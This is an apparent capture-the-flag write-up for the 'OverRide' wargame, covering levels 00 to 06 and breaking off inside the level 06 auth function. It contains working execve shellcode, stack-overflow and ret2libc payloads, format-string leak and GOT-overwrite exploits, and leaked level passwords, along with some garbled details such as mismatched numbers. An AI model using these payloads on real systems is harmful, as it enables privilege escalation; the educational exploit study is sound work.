Override Step by Step Tutorial

Login:

The login user is “**level00**”
The password is “**level00**”

Level 00:

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   /home/users/level00/level00
level00@OverRide:~$
```

If we run **“file level00”** and **“ls -l level00”** we can see that **level00** is an elf binary with execution permissions of user **level01**

```
level00@OverRide:~$ file level00
level00: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24
, BuildID[sha1]=0x20352633f776024748e9f8a5ebab6686df488bcf, not stripped
level00@OverRide:~$ ls -l level00
-rwsr-s---+ 1 level01 users 7280 Sep 10  2016 level00
level00@OverRide:~$
```

Executing the file with **“./level00”** we get a prompt for a password:

```
level00@OverRide:~$ ./level00
***********************************
*            -Level00 -           *
***********************************
Password:
Invalid Password!
level00@OverRide:~$
```

This doesn't get us anywhere, so let's examine the binary in gdb. If we disassemble main, we can get an idea of what the program does:

```
(gdb) disassemble main
Dump of assembler code for function main:
   0x08048494 <+0>:     push   ebp
   0x08048495 <+1>:     mov    ebp,esp
   0x08048497 <+3>:     and    esp,0xfffffff0
   0x0804849a <+6>:     sub    esp,0x20
   0x0804849d <+9>:     mov    DWORD PTR [esp],0x80485f0
   0x080484a4 <+16>:    call   0x8048390 <puts@plt>
   0x080484a9 <+21>:    mov    DWORD PTR [esp],0x8048614
   0x080484b0 <+28>:    call   0x8048390 <puts@plt>
   0x080484b5 <+33>:    mov    DWORD PTR [esp],0x80485f0
   0x080484bc <+40>:    call   0x8048390 <puts@plt>
   0x080484c1 <+45>:    mov    eax,0x804862c
   0x080484c6 <+50>:    mov    DWORD PTR [esp],eax
   0x080484c9 <+53>:    call   0x8048380 <printf@plt>
   0x080484ce <+58>:    mov    eax,0x8048636
   0x080484d3 <+63>:    lea    edx,[esp+0x1c]
   0x080484d7 <+67>:    mov    DWORD PTR [esp+0x4],edx
   0x080484db <+71>:    mov    DWORD PTR [esp],eax
   0x080484de <+74>:    call   0x80483d0 <__isoc99_scanf@plt>
   0x080484e3 <+79>:    mov    eax,DWORD PTR [esp+0x1c]
   0x080484e7 <+83>:    cmp    eax,0x149c
   0x080484ec <+88>:    jne    0x804850d <main+121>
   0x080484ee <+90>:    mov    DWORD PTR [esp],0x8048639
   0x080484f5 <+97>:    call   0x8048390 <puts@plt>
   0x080484fa <+102>:   mov    DWORD PTR [esp],0x8048649
   0x08048501 <+109>:   call   0x80483a0 <system@plt>
   0x08048506 <+114>:   mov    eax,0x0
   0x0804850b <+119>:   jmp    0x804851e <main+138>
   0x0804850d <+121>:   mov    DWORD PTR [esp],0x8048651
   0x08048514 <+128>:   call   0x8048390 <puts@plt>
   0x08048519 <+133>:   mov    eax,0x1
   0x0804851e <+138>:   leave
   0x0804851f <+139>:   ret
End of assembler dump.
```

Taking a look at the main function, we can see there are calls to **puts** function, but most importantly, **scanf**.

The next few lines tell us that the user input from **scanf** is compared to **0x149c** and if it matches a call to **system** is executed with **0x8048649** as its argument.

Printing the values above gets us **5276** and **/bin/bash**

```
(gdb) p /d 0x149c
$3 = 5276
(gdb) x/s 0x8048649
0x8048649:       "/bin/sh"
(gdb)
```

After reading all the assembly we can piece together what the program does:

```c
int main(void)
{
	int password;

	puts("***********************************");
	puts("* \t     -Level00 -\t\t  *");
	puts("***********************************");
	printf("Password:");

	scanf("%d", &password);

	if (password == 5276)
	{
		puts("\nAuthenticated!");
		system("/bin/sh");
		return (0);
	}
	else
	{
		puts("\nInvalid Password!");
		return (1);
	}
}
```

Its as simple as inputting **"5276"** and a shell with user **level01** permissions will be created. This will allow us to read the **".pass"** file in level01's home giving us the password for that user, or the next level.

```
level00@OverRide:~$ ./level00
***********************************
*            -Level00 -           *
***********************************
Password:5276

Authenticated!
$ whoami
level01
$ cat ../level01/.pass
uSq2ehEGT6c9S24zbshexZQBXUGrncxn5sD5QfGL
$ 
```

The password is **"uSq2ehEGT6c9S24zbshexZQBXUGrncxn5sD5QfGL"**

Level01:

Run “**su level01**” with “**uSq2ehEGT6c9S24zbshexZQBXUGrncxn5sD5QfGL**”

```
level00@OverRide:~$ su level01
Password:
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   /home/users/level01/level01
level01@OverRide:~$
```

First thing we can see is that the **NX bit** is disabled, making the **stack executable.** This might be useful later.

Same thing as last time, **“level01”** has setuid of **level02.**

```
level01@OverRide:~$ file level01
level01: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared li
bs), for GNU/Linux 2.6.24, BuildID[sha1]=0x923fd646950abba3d31df70cad30a6a5ab5760e8, not stripped
level01@OverRide:~$ ls -l level01
-rwsr-s---+ 1 level02 users 7360 Sep 10  2016 level01
level01@OverRide:~$
```

Running the program prompts us for a username this time:

```
level01@OverRide:~$ ./level01
********* ADMIN LOGIN PROMPT *********
Enter Username: verifying username....

nope, incorrect username...
```

We don't know what the correct username is. Let's look at the assembly code:

```
(gdb) disassemble verify_user_name
Dump of assembler code for function verify_user_name:
   0x08048464 <+0>:     push   ebp
   0x08048465 <+1>:     mov    ebp,esp
   0x08048467 <+3>:     push   edi
   0x08048468 <+4>:     push   esi
   0x08048469 <+5>:     sub    esp,0x10
   0x0804846c <+8>:     mov    DWORD PTR [esp],0x8048690
   0x08048473 <+15>:    call   0x8048380 <puts@plt>
   0x08048478 <+20>:    mov    edx,0x804a040
   0x0804847d <+25>:    mov    eax,0x80486a8
   0x08048482 <+30>:    mov    ecx,0x7
   0x08048487 <+35>:    mov    esi,edx
   0x08048489 <+37>:    mov    edi,eax
   0x0804848b <+39>:    repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
   0x0804848d <+41>:    seta   dl
   0x08048490 <+44>:    setb   al
   0x08048493 <+47>:    mov    ecx,edx
   0x08048495 <+49>:    sub    cl,al
   0x08048497 <+51>:    mov    eax,ecx
   0x08048499 <+53>:    movsx  eax,al
   0x0804849c <+56>:    add    esp,0x10
   0x0804849f <+59>:    pop    esi
   0x080484a0 <+60>:    pop    edi
   0x080484a1 <+61>:    pop    ebp
   0x080484a2 <+62>:    ret
End of assembler dump.
(gdb) disassemble verify_user_pass
Dump of assembler code for function verify_user_pass:
   0x080484a3 <+0>:     push   ebp
   0x080484a4 <+1>:     mov    ebp,esp
   0x080484a6 <+3>:     push   edi
   0x080484a7 <+4>:     push   esi
   0x080484a8 <+5>:     mov    eax,DWORD PTR [ebp+0x8]
   0x080484ab <+8>:     mov    edx,eax
   0x080484ad <+10>:    mov    eax,0x80486b0
   0x080484b2 <+15>:    mov    ecx,0x5
   0x080484b7 <+20>:    mov    esi,edx
   0x080484b9 <+22>:    mov    edi,eax
   0x080484bb <+24>:    repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
   0x080484bd <+26>:    seta   dl
   0x080484c0 <+29>:    setb   al
   0x080484c3 <+32>:    mov    ecx,edx
   0x080484c5 <+34>:    sub    cl,al
   0x080484c7 <+36>:    mov    eax,ecx
   0x080484c9 <+38>:    movsx  eax,al
   0x080484cc <+41>:    pop    esi
   0x080484cd <+42>:    pop    edi
   0x080484ce <+43>:    pop    ebp
   0x080484cf <+44>:    ret
End of assembler dump.
```

Both **verify_user_name** and **verify_user_pass** perform a comparison via the **repz cmps** instruction. meaning it will run a bit comparison until the zero bit is set or ecx bits have been read (0x7 and 0x5), equal to **strncmp** call

We can also extract the correct values by printing the memory at **0x80486a8 -> “dat_wil” (username)** and at **0x80486b0 -> “admin” (password)**

```c
int verify_user_name(char *str)
{
    puts("verifying username....\n");
    return (strncmp("dat_wil", str, 7)); // 0x7
}

int verify_user_pass(char *str)
{
    return (strncmp("admin", str, 5)); // 0x5
}
```

As for the main function :

```
Dump of assembler code for function main:
   0x080484d0 <+0>:     push   ebp
   0x080484d1 <+1>:     mov    ebp,esp
   0x080484d3 <+3>:     push   edi
   0x080484d4 <+4>:     push   ebx
   0x080484d5 <+5>:     and    esp,0xfffffff0
   0x080484d8 <+8>:     sub    esp,0x60
   0x080484db <+11>:    lea    ebx,[esp+0x1c]
   0x080484df <+15>:    mov    eax,0x0
   0x080484e4 <+20>:    mov    edx,0x10
   0x080484e9 <+25>:    mov    edi,ebx
   0x080484eb <+27>:    mov    ecx,edx
   0x080484ed <+29>:    rep stos DWORD PTR es:[edi],eax
   0x080484ef <+31>:    mov    DWORD PTR [esp+0x5c],0x0
   0x080484f7 <+39>:    mov    DWORD PTR [esp],0x80486b8
   0x080484fe <+46>:    call   0x8048380 <puts@plt>
   0x08048503 <+51>:    mov    eax,0x80486df
   0x08048508 <+56>:    mov    DWORD PTR [esp],eax
   0x0804850b <+59>:    call   0x8048360 <printf@plt>
   0x08048510 <+64>:    mov    eax,ds:0x804a020
   0x08048515 <+69>:    mov    DWORD PTR [esp+0x8],eax
   0x08048519 <+73>:    mov    DWORD PTR [esp+0x4],0x100
   0x08048521 <+81>:    mov    DWORD PTR [esp],0x804a040
   0x08048528 <+88>:    call   0x8048370 <fgets@plt>
   0x0804852d <+93>:    call   0x8048464 <verify_user_name>
   0x08048532 <+98>:    mov    DWORD PTR [esp+0x5c],eax
   0x08048536 <+102>:   cmp    DWORD PTR [esp+0x5c],0x0
   0x0804853b <+107>:   je     0x8048550 <main+128>
   0x0804853d <+109>:   mov    DWORD PTR [esp],0x80486f0
   0x08048544 <+116>:   call   0x8048380 <puts@plt>
   0x08048549 <+121>:   mov    eax,0x1
   0x0804854e <+126>:   jmp    0x80485af <main+223>
   0x08048550 <+128>:   mov    DWORD PTR [esp],0x804870d
   0x08048557 <+135>:   call   0x8048380 <puts@plt>
   0x0804855c <+140>:   mov    eax,ds:0x804a020
   0x08048561 <+145>:   mov    DWORD PTR [esp+0x8],eax
   0x08048565 <+149>:   mov    DWORD PTR [esp+0x4],0x64
   0x0804856d <+157>:   lea    eax,[esp+0x1c]
   0x08048571 <+161>:   mov    DWORD PTR [esp],eax
   0x08048574 <+164>:   call   0x8048370 <fgets@plt>
   0x08048579 <+169>:   lea    eax,[esp+0x1c]
   0x0804857d <+173>:   mov    DWORD PTR [esp],eax
   0x08048580 <+176>:   call   0x80484a3 <verify_user_pass>
   0x08048585 <+181>:   mov    DWORD PTR [esp+0x5c],eax
   0x08048589 <+185>:   cmp    DWORD PTR [esp+0x5c],0x0
   0x0804858e <+190>:   je     0x8048597 <main+199>
   0x08048590 <+192>:   cmp    DWORD PTR [esp+0x5c],0x0
   0x08048595 <+197>:   je     0x80485aa <main+218>
   0x08048597 <+199>:   mov    DWORD PTR [esp],0x804871e
   0x0804859e <+206>:   call   0x8048380 <puts@plt>
   0x080485a3 <+211>:   mov    eax,0x1
   0x080485a8 <+216>:   jmp    0x80485af <main+223>
   0x080485aa <+218>:   mov    eax,0x0
   0x080485af <+223>:   lea    esp,[ebp-0x8]
```

The main function creates a character array of size 16, immediately zeroing all 16 bits through the **rep stos** instructions, equal to **bzero** call. Then **reads 256** bits from **stdin** into the array with **fgets**.

The input gets checked by **verify_user_name.** If the username matches 0 is returned and another **fgets** call is executed to prompt us for a password.

This password is then checked by **verify_user_pass.** If the password matches, it returns 0 and exits, but if it doesn't match, it returns1 and exits. This means the program itself doesn't do anything helpful to us.

```c
int main(void)
{
	char	str[16];
	bzero(str, 16);

	puts("********* ADMIN LOGIN PROMPT *********");
	printf("Enter Username: ");
	fgets(str, 256, stdin); // 0x100

	if (verify_user_name(str) != 0)
	{
		puts("nope, incorrect username...\n");
		return (1);
	}

	puts("Enter Password: ");
	fgets(str, 100, stdin); // 0x64

	int ret = verify_user_pass(str);
	if (ret == 0)
	{
		puts("nope, incorrect password...\n");
		return (1);
	}

	if (ret == 0)
		return (0);
}
```

We can see there's a big issue with this code, in both cases the **fgets** call reads more bytes that our array can hold (**256** and **100** > **16**), meaning that both calls can cause a **buffer overflow,** allowing us to overwrite memory on the stack.

We previously saw that the **NX** bit was not set, making the stack executable, so weather 1st step is to inject code that will run a shell.To do this we need to figure out a few things:

The address of our array
The code to inject

The address is fairly easy to find, if we go back to our assembly dump, just before the **fgets call** we can see the arguments it setup. The first argument is at the **top of the stack [esp]** at **0x804a040**

As for the shellcode, we can go to the **shell-storm.org** website and look up the code for a simple **execve shell**, since the stack is executable.

This is our shell code: **"\x31\xc0\x50\x68\x2f\x2f\x73\x68 \x68\x2f\x62\x69\x6e\x89\xe3\x50 \x53\x89\xe1\xb0\x0b\xcd\x80"** which translates to this assembly

```
xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
mov    $0xb,%al
int    $0x80
```

What this actually does is loading the **execve** call and **"/bin/sh"** into the stack. Preparing it to be accessed later

The 2nd step involves something a bit more complex:

Find the **EIP (extended stack pointer);**
Find the stack memory offset;
Overwrite **EIP** with the address of our array

We need to calculate the memory offset of our input. The simplest way to do that is to run the program in a debugger and pass it as very long string of "**A**" **(0x41)**

Run "**gdb level01**"**,** place a breakpoint in verify_user_pass with **"br verify_user_pass",** where it gets loaded onto the stack**.** Make sure to pass "**dat_wil**" as the username. Once we hit the breakpoint, print the first 24 words on the stack with "**x/24wx $esp"**

```
(gdb) x/24wx $esp
0xffffd6a0:     0x00000000      0xffffd70c      0xffffd718      0x08048585
0xffffd6b0:     0xffffd6cc      0x00000064      0xf7fcfac0      0xf7ec34fb
0xffffd6c0:     0xffffd8d9      0x0000002f      0xffffd71c      0x61616161
0xffffd6d0:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd6e0:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd6f0:     0x61616161      0x61616161      0x61616161      0x61616161
(gdb) x/ 0xffffd6c0+12
0xffffd6cc:     0x61616161
(gdb)
```

As you can see, our “AAAAAA” string is located at **0xffffd6cc on the stack.** If we step all instructions until we exit the verify_user_pass function (**si instruction**) , returning to main, run **“info frame”** and we can see the address of the **EIP.** after we can simply subtract the address of our password to EIP and we get the **offsett (80)**

```
(gdb) info frame
Stack level 0, frame at 0xffffd720:
 eip = 0x8048585 in main; saved eip 0xf7e45513
 Arglist at 0xffffd718, args:
 Locals at 0xffffd718, Previous frame's sp is 0xffffd720
 Saved registers:
  ebx at 0xffffd710, ebp at 0xffffd718, edi at 0xffffd714, eip at 0xffffd71c
(gdb) p /d 0xffffd71c - 0xffffd6cc
$2 = 80
(gdb)
```

All that’s left is to build our payload in order to open our shell. We’ll use python to print its contents then pipe it to **level01.**

(python -c "print 'dat_wil' + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\n' + 80 * '\x90' + '\x47\xa0\x04\x08'"; cat) | ./level01

We give it the correct password so that it passes the first check, then **overflow the buffe**r to push our shellcode onto the stack. After that we need to **overwrite the EIP** so we pass **80 NOP (no operation) instructions**, that will place us exactly at the EIP address, lastly we place the address of our shellcode as the next intruction. This address is our base input address + 7 bytes, so we can skip the username. Note that due to the endianness of the OS we need to reverse the byte addresses.

We use **cat** to keep the standard in of our shell open, otherwise the command will close it after printing our payload.
Running that command gets us a shell were we can read the password for **level02 “PwBLgNa8p8MTKW57S7zxVAQCxnCpV8JqTTs9XEBv”**

```
level01@OverRide:~$ (python -c "print 'dat_wil' + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50
\x53\x89\xe1\xb0\x0b\xcd\x80\n' + 80 * '\x90' + '\x47\xa0\x04\x08'"; cat) | ./level01
********* ADMIN LOGIN PROMPT *********
Enter Username: verifying username....

Enter Password:
nope, incorrect password...

whoami
level02
cd ../level02
cat .pass
PwBLgNa8p8MTKW57S7zxVAQCxnCpV8JqTTs9XEBv
```

Level02:

Run “**su level02**” with “**PwBLgNa8p8MTKW57S7zxVAQCxnCpV8JqTTs9XEBv**”

After disassembling the binary we get:

```c
int main(int argc, char *argv[]) {
	char buffer1[112];	// 0x70
	char buffer2[48];	// 0x20
	char buffer3[112];	// 0x110
	FILE *file = NULL;
	int ac = argc;
	char **av = argv;

	memset(buffer1, 0, 96);	// 0xc -> 12*8 = 96
	memset(buffer2, 0, 40);	// 0x5 -> 5*8 = 40
	memset(buffer3, 0, 96);	// 0xc -> 12*8 = 96

	file = NULL;
	int bytes = 0;

	file = fopen("file_path", "r");
	if (file == NULL) {
		fwrite("ERROR: failed to open password file\n", 1, 36, stderr);
		exit(1);
	}

	bytes = fread(buffer2, 1, 41, file);	// 0x29 -> 41
	size_t pos = strcspn(buffer2, "\n");
	buffer2[pos] = '\0';

	if (bytes != 41) {
		fwrite("ERROR: failed to read password file\n", 1, 36, stderr);
		exit(1);
	}

	close(file);

	puts("===== [ Secure Access System v1.0 ] =====");
	puts("/***************************************\\");
	puts("| You must login to access this system. |");
	puts("\\***************************************/");

	printf("--[ Username: ");
	fgets(buffer1, 100, stdin);
	pos = strcspn(buffer1, "\n");
	buffer1[pos] = '\0';

	printf("--[ Password: ");
	fgets(buffer3, 100, stdin);
	pos = strcspn(buffer3, "\n");
	buffer3[pos] = '\0';

	puts("*****************************************");
	if (strncmp(buffer2, buffer3, 41) != 0) {
		printf(buffer1);
		puts(" does not have access!");
		exit(1);
	}

	printf("Greetings, %s!\n", buffer1);
	system("/bin/sh");
	return 0;
}
```

After examining the code, there’s no apparent vulnerability, but upon a closer inspection, we can see that the user can control the argument to **printf**. And since there is no **format string**, **buffer1** will be treated as the format string. This can cause a buffer overflow if any format specifiers are present in **buffer1**.

We can abuse this overflow to print out the stack, and since the password gets read from the file into **buffer2,** which is on the stack, we can also read its contents.

To do so, we first need to calculate its position. since this is a **64-bit ELF**, each address on the stack is **8-bit**. The address of **buffer2** is **$rbp-0xa0** (160->168) and the stack is at **$rbp-0x120** (288). 168 / 8 + 1 = 22 and 40 / 8 = 5 so we need to read 5 8-bit words from the stack starting at the 22nd.

```
level02@OverRide:~$ echo '%22$p%23$p%24$p%25$p%26$p' | ./level02
===== [ Secure Access System v1.0 ] =====
/***************************************\
| You must login to access this system. |
\**************************************/
--[ Username: --[ Password: *****************************************
0x756e5052343768480x45414a35617339510x377a7143574e67580x354a35686e4758730x48336750664b394d does not have access!
level02@OverRide:~$
```

Passing **“%22$p%23$p%24$p%25$p%26$p”** to **level02,** it prints the pointer values of the password. We just need to pass these values to our decoding script ans we get the password “**Hh74RPnuQ9sa5JAEXgNWCqz7sXGnh5J5M9KfPg3H**”

```python
#!/usr/bin/env python3

def main() -> None:
    password : str = "0x756e5052343768480x45414a35617339510x377a7143574e67580x354a35686e4758730x48336750664b394d"
    password : list[bytes] = [bytes.fromhex(chunk) for chunk in password.split("0x")]

    for chunk in password:
        print(chunk.decode('ascii')[::-1], end='')
    print()

if __name__ == "__main__":
    main()
```

```
➜ override git:(main) ./level02/resources/decode.py
Hh74RPnuQ9sa5JAEXgNWCqz7sXGnh5J5M9KfPg3H
```

Level03:

Run “**su level03**” with “**Hh74RPnuQ9sa5JAEXgNWCqz7sXGnh5J5M9KfPg3H**”

```
level02@OverRide:~$ su level03
Password:
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   /home/users/level03/level03
level03@OverRide:~$
```

```
level03@OverRide:~$ file level03 ; ls -l level03
level03: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared li
bs), for GNU/Linux 2.6.24, BuildID[sha1]=0x9e834af52f4b2400d5bd38b3dac04d1a5faa1729, not stripped
-rwsr-s---+ 1 level04 users 7677 Sep 10  2016 level03
level03@OverRide:~$
```

After disassembling we get:

```c
void    decrypt(int value)
{
    char    str[17] = "Q}|u`sfg~sf{}|a3";

    int len = strlen(str);
    for (int i = 0; i < len; ++i)
        str[i] = str[i] ^ value;

    if (strncmp(str, "Congratulations!", 17) == 0)
        system("/bin/sh");
    else
        puts("\nInvalid Password");
}

void    test(int input, int pwd)
{
    int diff = pwd - input;

    if (diff > 21) //
        decrypt(rand());
    else
        decrypt(diff);
}

int main(void)
{
    int input;

    srand(time(0));

    puts("***********************************");
    puts("*\t\tlevel03\t\t**");
    puts("***********************************");

    printf("Password:");
    scanf("%d", &input);

    test(input, 0x1337d00d); // 322424845

    return 0;
}
```

From the code above we can see that the program takes some user input, then calculates the **difference** between **0x1337d00d (322424845)** and our input. Then it performs a **XOR** with each character of the string “**Q}|u`sfg~sf{}|a3**” with sad **diff.** With the correct input, the outcome of this is “**Congratulations!**”, this will allow us to open a shell with **level04** permissions.

We can bruteforce the correct value by performing the same **XOR** operations until the result matches with the correct password. We know the **diff** is under **21** because of the **rand() call**, using a random value wouldn't work for a password check.

```python
#!/bin/env python3

def main() -> None:

    pwd  : str = 'Congratulations!'
    hash : str = 'Q}|u`sfg~sf{}|a3'

    for x in range(0, 22):
        res : list[int] = []
        for i in hash:
            res.append(ord(i) ^ x)

        password : str = ''.join(map(chr, res))
        if password == pwd:
            print(f'diff = {x}, password = {0x1337d00d - x}')
            break

if __name__ == '__main__':
    main()
```

Running our script we get:

```
➜ override git:(main) ✗ ./level03/resources/decode.py
diff = 18, password = 322424827
```

Using **32242487** as our input, we get a shell. Then we can read the “**.pass**” file to get the password for **level04**:
“kgv3tkEb9h2mLkRsPkXRfc2mHbjMxQzvb2FrgKkf”

```
level03@OverRide:~$ ./level03
***********************************
*               level03         **
***********************************
Password:322424827
$ whoami
level04
$ cd ../level04
$ cat .pass
kgv3tkEb9h2mLkRsPkXRfc2mHbjMxQzvb2FrgKkf
$ 
```

Level04:

Run “**su level04**” with “**kgv3tkEb9h2mLkRsPkXRfc2mHbjMxQzvb2FrgKkf**”

```
level03@OverRide:~$ su level04
Password:
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   /home/users/level04/level04
level04@OverRide:~$
```

```
level04@OverRide:~$ file level04 ; ls -l level04
level04: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x7386c3c1bbd3e4d8fc85f88744379783bf327fd7, not stripped
-rwsr-s---+ 1 level05 users 7797 Sep 10  2016 level04
level04@OverRide:~$
```

After disassembling we get:

```c
int main(void)
{
	pid_t	id = fork();
	char	arr[32];
	int		status;
	long	trace;

	memset(arr, 0, 32); // 0x20

	if (id == 0)
	{
		prctl(1, 1);
		ptrace(0, 0, 0, 0);

		puts("Give me some shellcode, k");
		gets(arr);
		return (0);
	}
	else
	{
		while (1) // 0xb
		{
			wait(&status);
			if (WIFEXITED(status) == 1 || WIFSIGNALED(status) == 0)
			{
				puts("child is exiting...");
				break;
			}
			else
			{
				trace = ptrace(PTRACE_PEEKUSER, id, 44, 0); // 0x3 id 0x2c 0x0
				if (trace == 11); // 0xb
				{
					puts("no exec() for you");
					kill(id, SIGKILL); // 0x9
					break;
				}
			}
		}
	}
	return (0);
}
```

We can see in the code above that **gets** is the point of attack, since it allows us to overflow the **buffer**. We can perform a **ret2libc attack** by overwriting the **EIP** address with the functions **system** and **exit,** and by pushing **“/bin/sh”** on the stack.

Step 1 is to calculate the EIP offset from our buffer. We can find these addresses by debugging the program with gdb: **0xffffd71c** (eip) and **0xffffd680** (buffer). Then we subtract **buffer** from **eip**: **0xffffd71c - 0xffffd680 = 156**

Step 2 is to find the address of **system, exit** and **“/bin/sh”.** For the function addresses we can run **“print system”** and **“print exit”** to get **0xf7e6aed0** and **0xf7e5eb70** respectively. Since **libc** is loaded into memory, we can search for **“/bin/sh”** with **find &system,+9999999,”/bin/sh”**, getting **0xf7f897ec.**

To perform the exploit we execute “**(python -c "print '\x90'*156 + '\xd0\xae\xe6\xf7' + '\x70\xeb\xe5\xf7' + '\xec\x97\xf8\xf7'"; cat) | ./level04**”

We have a shell with user **level05** permissions, so we can simply move to its home directory at **“cat .pass”** to get the password:
“3v8QLcN5SAhPaZZfEasfmXdwyR59ktDEMAwHF3aN”

```
level04@OverRide:~$ (python -c "print '\x90'*156 + '\xd0\xae\xe6\xf7' + '\x70\xeb\xe5\xf7' + '\xec\x97\xf8\xf7
'"; cat) | ./level04
Give me some shellcode, k
whoami
level05
cd ../level05
cat .pass
3v8QLcN5SAhPaZZfEasfmXdwyR59ktDEMAwHF3aN
```

Level05:

Run **"su level05"** with **"3v8QLcN5SAhPaZZfEasfmXdwyR59ktDEMAwHF3aN"**

```
level08@OverRide:~$ su level05
Password:
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   /home/users/level05/level05
level05@OverRide:~$
```

```
level05@OverRide:~$ file level05 ; ls -la level05
level05: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x1a9c02d3aeffff53ee0aa8c7730cbcb1ab34270e, not stripped
-rwsr-s---+ 1 level06 users 5176 Sep 10  2016 level05
level05@OverRide:~$
```

After disassembling we get:

```c
int main()
{
	char	buffer[40]; // 0x28
	fgets(buffer, 100, stdin);

	int i = 0;
	while (buffer[i] != '\0') {
		if (buffer[i] > '@' && buffer[i] <= 'Z') {
			// tolower()
			buffer[i] ^= 32; // 0x20
		}
		i++;
	}

	print(buffer);
	exit(0);
}
```

A quick review of the code shows us a few vulnerabilities. The **fgets** call reads 100 characters into a buffer of size 40, causing a buffer overflow. The program also gives control of the **printf format string** to the user, meaning we can use this to exploit it.

We can't use **fgets** to inject shellcode since the **EIP** address is more than 100 characters away. So no angle of attack here.

However, the second vulnerability is more useful to us. We can dump the stack by controlling the **format** string. By inputting "**%x %x %x %x**" we can print the **top 4 addresses of the stack.**

```
level05@OverRide:~$ ./level05
"%x %x %x %x"
"64 f7fcfac0 0 0"
```

But more interestingly, we can write arbitrary data to the stack with the **“%n”** specifier. This allows us to write the number of printed bytes to the stack.

Further inspection of the code, shows us that the **exit** call is called indirectly through the **GOT (global offset table),** meaning we can try to override the data at that address allowing us to inject some **shellcode** at the address **0x80497e0**

We can save our shellcode by **exporting** it to the **env** with **“export SHELLCODE=$(python -c 'print "\x90"*100 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"')”**. Using gdb , we can find its address at **0xffffd885**

We can also use gdb to find the position of our input, meaning the **word index** in the stack. A **word** is made of **4 bytes,** so we can use **“p /32wx $esp”** to print 32 words from the stack. Using **“aaaabbbb”** as input, we can find **0x61616161** and **0x62626262** as the **10th** and **11th** word.

```
level05@OverRide:~$ ./level05
aaaabbbb %10$x %11$x
aaaabbbb 61616161 62626262
level05@OverRide:~$
```

For the exploit to work, we need to write **0xffffd885 (4294957189)** bytes to the address **0x80497e0.** This won't work as the value is too big, so we’ll need to split it into two. We need to write **0xffff (55421)** to **0x80497e0** and **0xd885 (10106)** to **0x80497e2.** Inputting these many bytes manually is impossible, so we can use the padding feature of printf in combination with the **short** format specifier, meaning only 2 bytes will be written instead of 4.

This is how our exploit will look like:
(python -c 'print "\x08\x04\x97\xe0"[::-1]+"\x08\x04\x97\xe2"[::-1]+ "%55421x%10$hn%10106x%11$hn"'; cat) | ./level05

```
level05@OverRide:~$ export SHELLCODE=$(python -c 'print "\x90"*100 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2
f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"')
level05@OverRide:~$ (python -c 'print "\x08\x04\x97\xe0"[::-1]+"\x08\x04\x97\xe2"[::-1]+ "%55421x%10$
hn%10106x%11$hn"'; cat) | ./level05
�
```

The password is: **“h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq”**

```
whoami
level06
cd ../level06
cat .pass
h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq
```

Level06:

Run **"su level06"** with **"h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq"**

```
level08@OverRide:~$ su level06
Password:
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   /home/users/level06/level06
level06@OverRide:~$
```

```
level06@OverRide:~$ file level06 ; ls -l level06
level06: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs
), for GNU/Linux 2.6.24, BuildID[sha1]=0x459bcb819bfdde7ecfa5612c8445e7dd0831cc48, not stripped
-rwsr-s---+ 1 level07 users 7907 Sep 10  2016 level06
level06@OverRide:~$
```

After disassembling we get these 2 functions:

```c
int main(int argc, char **argv)
{
	unsigned int	serial = 0;
	char			buffer[0x20]; // 32

	puts("***********************************");
	puts("*\t\tlevel06\t\t  *");
	puts("***********************************");

	printf("-> Enter Login: ");
	fgets(buffer, 0x20, stdin);

	puts("***********************************");
	puts("***** NEW ACCOUNT DETECTED ********");
	puts("***********************************");

	printf("-> Enter Serial: ");
	scanf("%u", &serial);

	if (auth(buffer, serial) == 0)
	{
		puts("Invalid Password!");
		return 1;
	}

	puts("Authenticated!");
	system("/bin/sh");
	return 0;
}
```

```c
int auth(char *login, unsigned int serial)
{
    size_t    pos = strscpn(login, "\n");
    login[pos] = '\0';
    size_t    len = strnlen(login, 0x20); // 32

    if (len <= 0x5)
        return 1;

    if (ptrace(PTRACE_TRACEME, 1, NULL, NULL) == -1); // 0xffffffff
    {
        puts("\033[32m.---------------------------.");
